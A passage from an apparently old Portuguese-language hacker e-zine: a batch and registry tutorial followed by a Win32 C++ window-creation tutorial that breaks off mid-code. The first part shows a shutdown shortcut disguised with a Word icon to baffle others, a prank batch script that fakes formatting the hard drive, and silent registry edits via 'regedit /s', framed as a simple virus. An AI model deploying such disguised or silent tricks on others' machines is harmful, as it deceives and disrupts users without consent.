Lembrando que no lugar de "IP_FIX" coloque a mensagem que você quiser é claro...

DICAS:  Para  desfazer  isso,  simplesmente  altere  o  valor  para  "HH:mm"  ou
simplesmente o delete-o.

ATENÇÃO: Só  lembrando que  com o  regedit a  gente só  brinca se  souber o  que
estiver fazendo :).

4 - Um atalho destrutivo, ou melhor, reiniciativo.

Bom, isso eu descobri a  pouco tempo e é até  divertido (quando não faz isso  no
computador da escola... perdi 10 pontos por causa disso... :().
Esse é o mais fácil de todos. Faça o seguinte:
Sabe a área de trabalho? Aquela  que fica o ícone do "Meu  computador"? Lembrou?
Ótimo!!!;
Clique com o botão direito do mouse e clique em "Novo" e em seguida em "Atalho";
Nessa janelinha que abriu aí pedindo para inserir o nome do caminho do que  você
quer abrir, digite "C:\WINDOWS\rundll.exe user.exe,exitwindows";
Depois dê um nome para ele e em seguida o execute-o!;

DICAS: Você pode alterar a figura dele colocando o ícone do Microsoft Word,  por
exemplo, assim seus amigos "LEIGOS" irão  quebrar a cabeça para descobrir o  por
quê que o computador desliga/reinicia :). Não existe só o caminho para desligar,
tem também como reiniciar!

ATENÇÃO: Não faça isso nas aulas de informática, perdi 10 pontos por isso :(...

5 - Badcom: Básico do Básico

Badcom pra quem não sabe é  uma linguagem não estrutudara padrão do  windows. Já
viu aqueles arquivos .bat que tem o desenho de uma engrenagem no meio???  Então!
Aquilo usa badcom para ser executado!
Se eu fosse explicar tudo sobre badcom demoraria muito, então pretendo  escrever
um  tutorial só  sobre badcom  futuramente. Mas  o explicar  o básico  que é  o
suficiente para se criar algo "eficaz" :D.
Vamos  começar pelo  qual programa  que você  irá precisar,  você precisará  de:
Qualquer editor  de texto;  meu preferido  é o  "Bloco de  notas" :), pronto! Só
disso que você precisará.
Bem, vamos  começar fazendo  um simples  programa no  melhor estilo  do "Show do
Milhão"(huahuahua) :D. Abra o seu editor de texto normalmente e faça o seguinte:

----------------------------xxx CuTe HeRe xxx-----------------------------------

@echo off
cls
echo "Bem-Vindo ao Show do Badcom!"
echo.
echo Visite: http:\\www.infoshack.cjb.net e http:\\cdm.frontthescene.com.br
echo Fale com a gente: irc.brasnet.org /join #motd e /join #mercenaries
echo.
echo Stupidy Program Created by IP_FIX
echo.
echo Escolha uma alternativa:
echo.
echo [1] Começar logo a jogar essa ****.
echo [2] Quero sair. Nao tenho capacidade mental para jogar esse jogo ridiculo.
echo.
choice/c12
if errorlevel 2 goto SAIR
if errorlevel 1 goto JOGAR
:SAIR
echo.
echo.
echo Que foi? Vai fugir agora? Voce nao eh o hackao bonzao que consegue invadir sites por "Pasta da Web" e se sente o maximo com isso? Tah com medo de que? Ei, volta aqui!!! Nao corre nao, to brincando...!!! Bah, correu covarde, entao vou aproveitar o momento para formatar o computador... Ahhh, voce voltou... Voce quer que eu formate seu pc??? Sim ou Nao?
echo.
choice/csn
if errorlevel n goto FORMATAR
if errorlevel s goto FORMATAR
:FORMATAR
echo.
echo Nao me interessa sua decisao, eu vou formatar seu HD pronto e acabou! Adeus! Huahauhauhauhauhauhuhauhauahuahuahauhauhauhauha!!! Se vira agora que voce nao nasceu umbigado comigo!!!
echo.
echo Formatando...
echo.
pause
dir
dir
dir
dir
dir
dir
dir
cls
echo Formatacao concluida.
echo.
echo Quase morre do coracao hein hackao???
echo.
echo Visite: http:\\www.infoshack.cjb.net e http:\\cdm.frontthescene.com.br
echo Fale com a gente: irc.brasnet.org /join #motd e /join #mercenaries
echo.
echo Stupidy Program Created by IP_FIX
echo ;)
exit
:JOGAR
echo.
echo Pergunta valendo US$0,00.
echo.
echo Qual a cor do cavalo branco de Napoleao???
echo.
echo [1] Azul
echo [2] Verde
echo [3] Cinza
echo [4] Rosa
echo.
choice/c1234
if errorlevel 4 goto FIM
if errorlevel 3 goto FIM
if errorlevel 2 goto FIM
if errorlevel 1 goto FIM
:FIM
echo.
echo Errado!!!
echo.
echo Nao acredito que voce errou isso... Voce nao merece mais jogar esse super jogo com mais de 24000(hmmm) perguntas ineditas nunca antes vistas nem mesmo pelo criador desse stupid program!!!
echo.
echo Por causa de sua "falta de inteligencia" seu computador sera formatado! Adeus!
echo.
echo Formatando...
pause
dir
dir
dir
dir
dir
dir
dir
cls
echo Formatacao concluida.
echo.
echo Da proxima vez sera de verdade. =)
echo.
echo Visite: http:\\www.infoshack.cjb.net e http:\\cdm.frontthescene.com.br
echo Fale com a gente: irc.brasnet.org /join #motd e /join #mercenaries
echo.
echo Stupid Program Created by IP_FIX
echo ;)
exit

-------------------------------xxx CuTe HeRe xxx-------------------------------

Agora uma breve explicação do que cada linha de comando faz:

@echo off //Isso faz com que não apareça nada na tela;

echo //Esse comando faz com que seja imprimido caracteres na tela;

echo. //Este faz pular uma linha;

choice/c12 //Este comando te dá a opção de escolha, sendo que nesse caso você só
poderá escolher 1 e 2;

:SAIR  //Essa  seria a  "Função"  do Badcom,  perceba  que sempre  ela  deve ser
acompanhada pelos dois pontos ":";

dir, cls, pause //Sem comentários...;

Bem galera, esse "Programa Estúpido" que fiz foi só pra dá uma introdução (hmmm)
de um badcom bastante simples e básico.  Lembram que falei que se mexesse com  o
"Registro do Windows" (Regedit) sem saber  o que está fazendo, poderia sair  uma
merda que só vendo pra crer? Bom,  que tal fazer um simples vírus que  faz isso?
Essa última parte desse tutorial ensinará o básico de como mexer com o registro.
Mas torno  a repetir:  Cuidado na  hora de  testar seu  .bat, ele  pode se virar
contra você e você não terá chance de reverter a situação(às vezes).

Olhe aqui abaixo outro exemplo banal:

------------------------------xxx CuTe HeRe xxx--------------------------------

REGEDIT4

[HKEY_CURRENT_USER\Control Panel\International]

"sTimeFormat"="IP_FIX"

------------------------------xxx CuTe HeRe xxx--------------------------------

Bom, pra quem prestou atenção no que disse anteriormente (duvido muito...)  sabe
o que  isso faz.  Só tem  um pequeno  problema nisso  tudo. Se você colocar isso
direto  no  seu  badcom,  você  não  conseguirá  adiconar  essas  informações ao
registro.

Para conseguir faça o seguinte:

a) Abra o seu editor de texto normalmente;
b) Cole isso tudo lá;
c) E salve como a extensão ".reg";
d) Execute e de OK, agora basta reiniciar o sistema.

Tá, mas agora você deve estar se perguntando: " - Como poderei usar isso no  meu
badcom  que  é  ".bat"  e  adicionar essas  informações  sem  a  pessoa  ter que
confirmar???".

Isso  é  simples  oras!  Basta  você colocar  a  linha  de  comando  "regedit /s
Hora_Certa.reg" em qualquer  local do seu  badcom e pronto!!!  Você adicionou as
informações no registro com sucesso sem você mesmo ter percebido!!! :D

DICAS: Com badcom dá pra fazer coisas fantásticas, desde joguinhos de  perguntas
e  respostas  (hauhauhauha)  até  uma desconfiguração  total  do  seu  sistema e
registro e até exclusão de qualquer tipos de arquivos(lembram do deltree???). Vá
no localizar e digite "*.bat", vai aparecer vários, clique com o botão direito e
clique em editar. Tá vendo? Você pode ter certeza da real intenção desse bath  e
pode ver várias outras linhas de comandos, foi assim que aprendi badcom, sozinho
na raça :). Dá pra fazer o mesmo com "*.reg".

ATENÇÃO: Lembre-se: Combinar o badcom com o registro é uma combinação perigosa e
fatal. Por isso, não esqueça de fazer sempre um backup do registro, para isso vá
no executar e digite "scanreg". Assim, caso você faça merda, tem como  restaurar
numa boa  com o  comando "scanreg/restore"(tem  que ser  executado no MS-DOS, ou
melhor, no modo de inicialização).

Pronto galera, acabou! Já pode passar pro assunto seguinte! A tortura já se foi!
Desculpe por não ter escrito algo melhor. Na verdade eu ia postar sobre  sockets
em Perl, mas não consegui terminar  meu portscan que eu iria usar  como exemplo.
No momento  também estudo  C/C++ bastante,  mas não  tinha nada  sobre o  que eu
poderia escrever. Então, resolvi escrever um pouco sobre badcom porquê essa  foi
a primeira  linguagem que  aprendi e  que por  causa dela  é que estou aqui hoje
(lembra  _LiNe_SkOFF_?). Vamos  lá galera,  juízo na  cabeça de  vocês, não  se
aprende nada executando exploits por aí sem saber como funciona e sem saber se é
seguro, ou pior ainda,  sem saber se proteger  pelo menos. Programação não  é só
lazer ou  cultura, é  PROFISSÃO! É  o "ganha-pão"  de muita  gente passar a vida
programando, então larguem esses exploits e vão aprender a fazer os seus!!!

!!!THAT´S ALL FOLKS!!!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 06 ]=-=[ Programando API em C++ para Windows ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Essa matéria é em homenagem à meu chegado, Inferninh0. É mais como desculpa pela
minha primeira matéria que saiu um lixo, espero que essa compense =]

C++ API

Não vou dar noções básicas sobre C/C++.

A interface  API (Application  Program Interface)  corresponde a  um conjunto de
system  calls oferecidas  por um  determinado sistema  operacional. Neste  caso,
Windows.  A biblioteca  API de  Windows é  extensa, contendo  as mais  variadas
funções.  Não  pretendo  citar  todas,  mas  sim  as  que  eu  considerar   mais
importantes, mesmo assim,  pretendo fazer um  trabalho extenso. Para  não tornar
essa  matéria  um  tanto  monótona,  vou  restringi-la  à  explicação  à   nível
superficial. Não  entrarei em  detalhes como  estrutura das  funções, pois  isso
somente consumirá mais e mais bytes.

Um dos maiores  atrativos do Windows  é seu sistema  de janelas, que  permite ao
usuário  navegar  entre  elas  e  coloca-las  à  disposição  mais   conveniente.
Programadores de VB sabem  o quanto é fácil  criar uma janela, mas  em C++, isso
pode se tornar um processo que requer alguns procedimentos iniciais.

Primeiramente vamos analisar a estrutura mais básica de um programa Win32 em C++:

#include

int _stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR nCmdLine, int nCmdShow)
{
return 0;
}

Para manter compatibilidade, a função é declarada como _stdcall, porém em alguns
compiladores pode estar definida como WINAPI ou outras macros. A função  WinMain
tem como  objetivo definir  o inicio  do programa.  É relativamente semelhante à
função main, só que  é executada em contexto  Win32 hehe. Os parâmetros  são bem
simples:

Antes, o int de retorno: Da mesma  maneira que a função main(), quando a  função
WinMain() retornar um valor, esta finalizará o programa.

HINSTANCE: a HINSTANCE representa um valor de 32 bit´s que identifica um  objeto
no  sistema. O  sistema operacional  passa este  valor para  o aplicativo  para
identificar o aplicativo enquanto ele está  sendo executado e o libera quando  o
aplicativo é finalizado.

A primeira HINSTANCE (hInstance) refere-se ao valor de identificação passado  ao
aplicativo. A segunda (hPrevInstance) refere-se  á um valor curioso, é  nela que
vc recebe  o valor  da HINSTANCE  de outra  instância de  seu aplicativo,  dessa
maneira você pode monitorar se seu  aplicativo está sendo executado mais de  uma
vez e bloquear as  instanciações de seu programa,  caso o programa esteja  sendo
executado primariamente, esse valor passa a ser NULL.

LPSTR é  uma implementação  de char*.  nCmdLine corresponde  á linha  de comando
passada ao seu aplicativo,  ou, aos parâmetros á  ele passados. Como um  simples
exemplo  posso citar  o Internet  Explorer. A  linha de  comando á  ele passada
corresponde à página que será exibida.

nCmdShow corresponde  a um  valor identificando  o estado  inicial da  janela, é
recomendável que esse valor seja passado como 2º parâmetro de ShowWindow().

Aí está o ponto de entrada para qualquer programa Win32. Como esse tutorial  tem
como foco a criação de um programa Win32, iremos direto ao ponto: Como criar uma
simples janela?

A API do  Windows fornece uma  estrutura que descreve  os comportamentos padrões
para qualquer janela. Um tópico importante, é que num ambiente de programação em
C++ todas as classes e estruturas  são consideradas como objetos. Essa visão  se
traduz no Windows quando falamos sobre janelas e controles.

Tanto uma janela quanto  um controle são objetos  primários na construção de  um
aplicativo Win32, e, pela analise do Windows, são iguais.

Uma janela  corresponde à  uma área  (geralmente retangular)  num espaço virtual
conhecido como desktop, não seria correto  afirmar que um controle não passa  de
uma janela dentro de um espaço conhecido como outra janela qualquer?

É assim que você deve interpretar  janelas e controles, não como estruturas  que
diferem entre si, mas estruturas semelhantes entre si.

A  API  do Windows  fornece  uma estrutura  básica  para qualquer  janela,  que,
geralmente  em  controles já  é  predefinida. Essa  estrutura  é conhecida  como
WNDCLASS.

Como  essa  estrutura é  pertencente  à API  do  Win95, ficou  atrasada  para as
evoluções do software,  assim sendo, foi  criada uma estrutura  equivalente, que
possui mais opções, a WNDCLASSEX.

Ao longo do tutorial, você verá muitas funções e estruturas que foram  recriadas
com o sufixo  EX, porém todas  as funções e  estruturas mais antigas  prevalecem
ainda  hoje.  Por  razões  de  compatibilidade  vou  citar  mais  as  funções EX
(EXtended) do que as mais antigas.

A estrutura WNDCLASSEX possui os seguintes membros:

cbClsExtra – Corresponde à um  valor  em bytes que devem ser alocados  depois da
WNDCLASSEX na memória, o Windows inicializa este valor como zero.

cbSize – Um unsigned int que corresponde ao tamanho da estrutura, geralmente  um
sizeof(WNDCLASSEX) é suficiente ;]

cbWndExtra – Um valor que corresponde ao número de bytes que devem ser  alocados
após a instância da janela, o  Windows inicializa esse valor como zero,  porém é
recomendável que este valor seja  alterado para DLGWINDOWEXTRA caso você  deseje
utilizar caixas de diálogos criadas com WNDCLASSEX.

hbrBackground – Um HBRUSH que corresponde ao fundo inicial da janela, geralmente
esse  valor  é  igualado  à  um  dos  valores  predefinidos  do  sistema,   como
WINDOW_COLOR.

hCursor –  Corresponde à  um HCURSOR  que representa  o cursor  que será exibido
dentro da janela.

hIcon – Corresponde ao Ícone grande  a ser exibido representando a janela,  como
no menu de alt+tab.

hIconSm –  Corresponde ao  ícone pequeno  a ser  exibido na  barra de  título da
janela.

hInstance – Corresponde  à instância que  identifica um objeto  no sistema, esse
valor é passado ao  programa para que ele  não possa acessar objetos  externos à
seu processo indevidamente.  Deve-se atribuir à  esse valor a  hInstance que foi
passada à função WinMain.

lpfnWndProc  – Corresponde  à uma  função que  recebe as  mensagens enviadas  à
janela, em termos  de leigo, corresponde  à função responsável  por gerenciar os
eventos que ocorrem dentro da janela.

lpszClassName – Corresponde à uma string que identifica a classe.

lpszMenuName – Corresponde à uma string que aponta para o nome de menu associado
à esta janela. Este tipo de menu é criado no arquivo de resources do aplicativo.
Caso o valor seja identificado como  um inteiro no arquivo de resource,  deve-se
utilizar a macro MAKEINTRESOURCE.

style – Corresponde à um comportamento padrão da janela.

Qualquer  um  destes membros  pode  ser validado  como  NULL, porém  alguns  são
essenciais  na  construção   de  uma  janela.   Agora  vamos  analisar   algumas
peculiaridades de alguns deles.

A WNDCLASS não apresenta os seguintes valores: cbSize e hIconSm.

hbrBackground
Esta propriedade refere-se à  um HBRUSH que identifica  o tipo de fundo  que uma
janela receberá. É recomendável que se utilize somente cores. Há valores padrões
do sistema que podem ser utilizados:

COLOR_ACTIVEBORDER
COLOR_ACTIVECAPTION
COLOR_APPWORKSPACE
COLOR_BACKGROUND
COLOR_BTNFACE
COLOR_BTNSHADOW
COLOR_BTNTEXT
COLOR_CAPTIONTEXT
COLOR_GRAYTEXT
COLOR_HIGHLIGHT
COLOR_HIGHLIGHTTEXT
COLOR_INACTIVEBORDER
COLOR_INACTIVECAPTION
COLOR_MENU
COLOR_MENUTEXT
COLOR_SCROLLBAR
COLOR_WINDOW
COLOR_WINDOWFRAME
COLOR_WINDOWTEXT

hCursor
Assim como hIcon e hIconSm, este  valor pode ser criado no arquivo  de resource,
porém há tipos predefinidos de cursors que podem ser carregados utilizando-se  a
função LoadCursor, passando o primeiro  valor (hInstance) como NULL e  o segundo
como o valor a ser utilizado:

IDC_APPSTARTING
IDC_ARROW
IDC_CROSS
IDC_IBEAM
IDC_ICON
IDC_NO
IDC_SIZE
IDC_SIZEALL
IDC_SIZENESW
IDC_SIZENS
IDC_SIZENWSE
IDC_SIZEWE
IDC_UPARROW
IDC_WAIT

hIcon e hIconSm
Podem  ser  carregados valores  do  sistema utilizando-se  a  função LoadCursor,
passando o primeiro valor como NULL e o segundo como o valor a ser utilizado:

IDI_APPLICATION
IDI_ASTERISK
IDI_EXCLAMATION
IDI_HAND
IDI_QUESTION
IDI_WINLOGO

lpfnWndProc
O Window Procedure é uma função responsável por gerenciar as mensagens recebidas
em uma janela. A sintaxe do Window Procedure é:

LRESULT CALLBACK WinProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);

O valor de retorno corresponde a um long.

HWND é um unsigned  int que corresponde ao  valor do window handle,  ou seja, um
valor utilizado para a manipulação da janela.

Msg  corresponde ao  valor numérico  da mensagem  recebida pela  janela, wParam
corresponde à um DWORD com valores passados à Msg, o mesmo vale para lParam.

style

Define estilos padrões que alteram a performance da janela:

CS_BYTEALIGNCLIENT e CS_BYTEALIGNWINDOW
Alinham a janela em um determinado contexto na posição horizontal para  melhorar
a performance em operações gráficas. Estes estilos afetam a posição horizontal e
largura da janela. Não é muito utilizado

CS_CLASSDC
Aloca um DC para ser utilizado por todas as janelas da classe. É utilizado  para
diminuir  o tempo  de espera  em operações  gráficas. Este  estilo permite  que
somente uma janela manipule operações gráficas por vez

CS_DBLCLKS
Permite que a janela receba mensagens sobre cliques duplos (DblClick)

CS_GLOBALCLASS
Permite que uma janela seja criada  sem a necessidade que a hInstance  da classe
seja a mesma da janela. É utilizada em controles que são inicializados em DLLs

CS_HREDRAW e CS_VREDRAW
Redesenha  toda  a   janela  caso  esta   seja  modificada  horizontalmente   ou
verticalmente respectivamente. Tanto vale para movimentações como para reajustes
de tamanho

CS_NOCLOSE
Desabilita todas as opções naturais para se fechar uma janela

CS_OWNDC
Aloca um DC único para cada janela da classe

CS_PARENTDC
Permite que  janelas Child  possam realizar  operações gráficas  em suas janelas
pai. Essa opção aumenta a performance  de operações gráficas, já que uma  janela
dessa classe recebe um cachê de memória maior para alocar seu DC

CS_SAVEBITS
Caso uma janela seja parcialmente obscurecida por outra janela, essa opção salva
a  parte  obscurecida como  um  bitmap na  memória  para aumentar  a  rapidez no
processo de redesenhar a  janela, porém um certo  tempo é perdido para  alocar o
bitmap. Essa opção não é recomendada

DC´s serão explicados mais tarde.

Operações  gráficas referem-se  ao ato  de desenhar  uma janela  ou controle  ou
outras funções GDI.

Um simples exemplo da construção de uma WNDCLASSEX:

WNDCLASSEX wnd;
wnd.cbClsExtra  = 0;
wnd.cbSize = sizeof(WNDCLASSEX);
wnd.cbWndExtra = 0;
wnd.hbrBackground = (HBRUSH)(COLOR_WINDOW);
wnd.hCursor = LoadCursor(NULL,IDC_ARROW);
wnd.hIcon = LoadIcon(NULL,IDI_APPLICATION);
wnd.hIconSm = LoadIcon(NULL,IDI_APPLICATION);
wnd.hInstance = hInstance;
wnd.lpfnWndProc = (WNDPROC) WProc;
wnd.lpszClassName = "MainWnd";
wnd.lpszMenuName = NULL;
wnd.style = CS_OWNDC;

Programadores mais “avançados” podem estudar a sintaxe da WNDCLASSEX e  montá-la
em somente uma linha de código ;]
Bom,  após a  criação da  WNDCLASSEX, deve-se  registrá-la para  que possa  ser
utilizada pelos threads do  processo em execução. Isso  se faz com o  auxílio da
função RegisterClassEx.

RegisterClassEx(&wnd);

O único parâmetro é  o endereço da WNDCLASSEX  a ser registrada. Logicamente  há
seu equivalente para a WNDCLASS:

RegisterClass(&WNDCLASS);

Estas funções  retornam um  valor (ATOM)  que identifica  unicamente a classe no
sistema. Caso haja erro, o valor de retorno é 0.

Bom, e agora? Agora vamos a parte principal, a tão esperada função que realmente
cria a janela, a CreateWindow(Ex).

A CreateWindowEX() possui  12 parâmetros, enquanto  que a CreateWindow()  possui
11,  sendo  assim elas  só  diferem no  parâmetro  dwExStyle, que,  logicamente,
pertence à CreateWindowEx e não à CreateWindow.

Vamos dar uma olhada nos seus parâmetros:

dwExStyle – Esse  valor é uma  DWORD (int de  32 bit´s para  os mais leigos) que
relata à função  alguns comportamentos extendidos  referentes à janela.  Veremos
seus possíveis valores mais à frente.

lpClassName – Esse valor refere-se ao nome da WNDCLASS registrada, ou seja  deve
ser o mesmo que lpszClassName da classe registrada.

lpWindowName – Um valor que na  maioria das vezes serve como string  primária da
janela.

dwtyle – Comportamentos padrões das janelas.

x e y – int´s que definem as posições horizontal e vertical (respectivamente) da
janela (Left e Top).

nWidth  e  nHeight  –  int´s  que  definem  a  largura  e  a  altura  da  janela
(respectivamente) (Width e Height).

hWndParent – Corresponde  à um HWND  (calma aí) que  identifica a janela  pai da
janela a ser criada. É recomendável  que este valor não seja NULL,  assim sendo,
para  janelas comuns,  deve-se utilizar  a função  GetDesktopWindow(void); como
parâmetro para este valor.

hMenu – Identifica um Menu criado em API pertencente à esta janela.

HInstance – Use sua imaginação ;]

lpParam – Há muito esse parâmetro deixou de ser utilizado. Seu valor consiste em
uma estrutura que contêm  todos os valores acima  citados e estes da  função são
substituídos pelos desta estrutura. Perda de memória, não? ;/

O valor de retorno corresponde à um  HWND. O HWND, ou Window Handle, é  um valor
de 32 bit´s  que identifica uma  janela para que  esta possa ser  manipulada por
diversas funções. Caso a  função falhe, o retorno  é NULL. Em API,  toda função,
quando retorna um erro,  pode ter esse valor  de erro re-adquirido com  a função
GetLastError(void), que retorna uma DWORD (int) com o valor de retorno da função
que retornou o erro.

Os possíveis valores para dwExStyle são:

WS_EX_ACCEPTFILES
Esta janela aceita arquivos arrastados até ela

WS_EX_CLIENTEDGE
Cria uma borda interna à área interna da janela

WS_EX_CONTEXTHELP
Inclui o botão de interrogação na barra de título da janela

WS_EX_CONTROLPARENT
Permite  que  seja  possível  navegar  entre  as  janelas  child  desta   janela
utilizando-se a tecla TAB

WS_EX_DLGMODALFRAME
Cria bordas em janelas com o valor WS_POPUP em dwStyle

WS_EX_LEFT e WS_EX_RIGHT
Cria uma janela que possui propriedades de texto alinhado à esquerda (padrão) ou
à direita, respectivamente

WS_EX_LEFTSCROLLBAR e WS_EX_RIGHTSCROLLBAR
Se  a barra  de rolagem  estiver visível  na janela,  essas opções  definem seu
alinhamento, à esquerda ou à direita (padrão) respectivamente

WS_EX_LTRREADING e  WS_EX_RTLREADING
O texto  da janela  é apresentado  da ordem  especificada, esquerda-para-direita
(padrão) ou direita-para-esquerda.  O segundo valor  só funciona em  línguas que
possuem suporte para este tipo de escrita, como o Hebraico

WS_EX_MDICHILD
Cria uma janela child

WS_EX_NOPARENTNOTIFY
Especifica  que uma  janela child  não irá  notificar sua  janela-pai sobre  sua
criação ou destruição

WS_EX_OVERLAPPEDWINDOW
Combina WS_EX_CLIENTEDGE e WS_EX_WINDOWEDGE

WS_EX_PALETTEWINDOW
Combina WS_EX_WINDOWEDGE, WS_EX_TOOLWINDOW e WS_EX_TOPMOST

WS_EX_STATICEDGE
Cria  uma  janela  com  uma borda  (interna)  em  sua  área externa,  geralmente
utilizados em controles estáticos

WS_EX_TOOLWINDOW
Cria uma janela geralmente utilizada como janela de ferramentas, com uma borda e
fonte de título menores que o original. Esse tipo de janela não aparece na barra
de tarefas ou no menu de ALT+TAB

WS_EX_TOPMOST
Especifica que a  janela deve sempre  sobrepor as janelas  que não possuem  este
valor

WS_EX_TRANSPARENT
Cria uma janela 100%  transparente (não translúcida ;|).  Este tipo de janela  é
comumente utilizado em operações de realinhamento de janela. Este tipo de janela
não é, geralmente, utilizado por aplicativos

WS_EX_WINDOWEDGE
Cria uma janela com uma borda (externa) em sua área externa

Para  x,y, nWidth  e nHeight,  o sistema  provê valores  padrões que  podem ser
utilizados igualando estes valores à CW_USEDEFAULT.

Os possíveis valores de dwStyle:

WS_BORDER
Cria uma janela com uma borda fina

WS_CAPTION
Cria uma janela com uma barra de título e WS_BORDER

WS_CHILD e WS_CHILDWINDOW
Cria uma janela child. Este valor não pode ser mesclado com WS_POPUP

WS_CLIPCHILDREN
Exclui a área ocupada pelas janelas child quando uma janela receber uma mensagem
WM_PAINT (operação gráfica). Esse valor deve ser utilizado em janelas pai

WS_CLIPSIBLINGS
Esse valor evita alguns problemas gráficos com janelas child. Você mesmo  poderá
fazer um  teste utilizandp  2 janelas  child, uma  com este  valor e  outra sem,
coloque uma sobre a outra e mude-as de tamanho e posição ;]

WS_DISABLED
Cria uma janela desabilitada. Esse tipo de janela não recebe entrada do usuário

WS_DLGFRAME
Cria uma borda que é comumente utilizada em caixas de diálogo

WS_GROUP
Especifica o primeiro controle em um grupo de controles

WS_HSCROLL e WS_VSCROLL
Cria  uma  janela que  possui  uma barra  de  rolagem horizontal  e/ou  vertical
(respectivamente)

WS_ICONIC e WS_MINIMIZE
Cria uma janela que está inicialmente minimizada

WS_MAXIMIZE
Cria uma janela que está inicialmente maximizada

WS_MAXIMIZEBOX e WS_MINIMIZEBOX
Cria uma janela que possui um botão de maximizar e/ou minimizar (respectivamente)

WS_OVERLAPPED e WS_TILED
Cria uma janela que possui uma borda e uma barra de titulo

WS_OVERLAPPEDWINDOW e WS_TILEDWINDOW
Cria  uma  janela num  estilo  mais comum  mesclando  WS_OVERLAPPED, WS_CAPTION,
WS_SYSMENU, WS_THICKFRAME, WS_MINIMIZEBOX e WS_MAXIMIZEBOX

WS_POPUP
Cria uma janela popup, sem bordas ou barra de titulo

WS_POPUPWINDOW
Mescla WS_BORDER, WS_POPUP e WS_SYSMENU

WS_SIZEBOX e WS_THICKFRAME
Cria uma janela que possui uma barra de reajuste de tamanho

WS_SYSMENU
Cria uma janela com um menu de janela comum. O valor WS_CAPTION é recomendado

WS_TABSTOP
Especifica um  controle que  pode receber  o foco  quando o  usuário pressiona a
tecla TAB

WS_VISIBLE
Cria uma janela que esta inicialmente visível

Exemplo =D:

HWND MainWnd = CreateWindowEx(WS_EX_WINDOWEDGE,"MainWnd","Janela de exemplo",
WS_OVERLAPPEDWINDOW,120,150, CW_USEDEFAULT,450,GetDesktopWindow(),NULL,hInstance,NULL);

Uma simples verificação:

If(!MainWnd){PostQuitMessage(0);}

A função PostQuitMessage(int) finaliza o programa terminando o seu Message  Loop
que será visto adiante.
Após  a  criação da  janela,  se esta  não  houver sido  criada  com WS_SHOW,  é
necessário mostrá-la. Para isso utiliza-se ShowWindow(HWND, int).

Exemplo:

ShowWindow(MainWnd,SW_SHOWNORMAL);

Os valores do 2º parâmetro são:

SW_HIDE - Esconde a janela e passa o foco para a próxima janela
SW_MAXIMIZE - Maximiza a janela e recebe o foco
SW_MINIMIZE – Minimiza a janela e recebe o foco
SW_RESTORE - Restaura a janela a seu status padrão e recebe o foco
SW_SHOW – Mostra a janela e recebe o foco
SW_SHOWMAXIMIZED, SW_SHOWMINIMIZED –  Mostra a janela  e a maximiza  ou minimiza
(respectivamente)
SW_SHOWMINNOACTIVE – Minimiza a janela e não recebe foco
SW_SHOWNA – Mostra a janela em seu estado atual, não recebe o foco
SW_SHOWNOACTIVE – Mostra a janela em sua posição e tamanho recentes, não  recebe
o foco
SW_SHOWNORMAL – Mostra a janela, faz o mesmo que SW_RESTORE e recebe o foco
nCmdShow – Isso  mesmo, este é  o valor passado  ao aplicativo por  WinMain, que
pode ser utilizado como valor padrão para o inicio das janelas do aplicativo.

O valor de retorno é um bool. Caso a janela estivesse anteriormente escondida, o
valor de retorno é false (0), caso contrário é true (1).

É  comum  utilizar  também UpdateWindow(HWND);  para  redesenhar  a janela  após
mostra-la:

UpdateWindow(MainWnd);

Caso a função falhe, o valor de retorno (bool) é false.

A partir daqui, caso você deseje que função subseqüentes sejam realizadas,  pode
incluí-las no código.
Após tudo isso você pensa que acabamos com a WinMain???
Lembra-se que quando a  função retorna um valor  ou chega ao seu  fim o programa
termina? Então, como os programas Win32 rodam por tempo indefinido?
Simples, com a utilização de um pequeno artifício chamado Message Loop.
O Message Loop, como seu nome sugere, consiste em um loop no qual uma mensagem é
analisada e enviada à janela. O loop consiste em 3 funções simples:

GetMessage(&MSG,HWND,unsigned int, unsigned int);
TranslateMessage(&MSG);
DispatchMessage(&MSG)

O MSG corresponde à um valor que identifica uma mensagem de sistema.

Sintáxe comum de um message loop:

MSG msg;

while ( GetMessage(&msg,NULL,0,0) )
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

Um sistema de mensagens é um  artifício do sistema operacional para coordenar  a
comunicação entre processos e não será abordado aqui.

A descrição do loop é simples:

while ( GetMessage(&msg,NULL,0,0) )

Esse linha simplesmente cria um loop no qual a função GetMessage pega a primeira
mensagem  na fila  de mensagens  do thread  atual. O  fato de  que as  mensagens
correspondem ao  thread atual  e não  à uma  janela especifica  provêm de  que o
segundo parâmetro é neutro, e assim deve permanecer, pois, caso uma janela  seja
descrita, com o fechamento de tal  janela o aplicativo todo seria finalizado  de
maneira indesejável.

O valor de retorno (bool), é true em casos normais, é false quando é  processada
uma mensagem WM_QUIT (Assim como a enviada por PostQuitMessage()) e –1 quando  a
função falha.

Caso você feche a janela descrita em  HWND, a função retornaria –1 para o  while
gerando, assim, um erro fatal ao aplicativo. Por estas razões, no message  loop,
HWND deve sempre ser NULL.

O 3º  parâmetro indica  a primeira  mensagem na  fila e  o 2º,  a última.  Estes
valores devem ser 0 para que as mensagens sejam processadas assim que chegarem à
fila.

TranslateMessage(&msg);

Essa função traduz mensagens que apresentam códigos virtuais para código  ASCII.
Tais mensagens são geralmente enviadas somente pelo teclado.

DispatchMessage(&msg);

Essa  função envia  a mensagem  para a  WindowProc responsável  pela janela  que
recebeu a mensagem.

Após o message loop, pode-se incluir normalmente o return ;]

return 0;

Aí  está  uma simples  WinMain.  Agora, vamos  à  WindowProc, que  analisará  as
mensagens enviadas para a janela. Como  já vimos, a sintaxe do Window  Procedure
é:

LRESULT CALLBACK WinProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);

E o valor de retorno corresponde a um long.

O primeiro  parâmetro da  função corresponde  ao HWND  da janela responsável por
receber a mensagem. O segundo, à mensagem em si, o terceiro e o quarto à  demais
parâmetros da mensagem.
O  método  mais  comum de  se  trabalhar  com o  WinProc  é  dando um  switch  e
verificando as mensagens enviadas:

LRESULT CALLBACK WinProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{

switch(msg) {
case WM_DESTROY:{
PostQuitMessage(1);
}

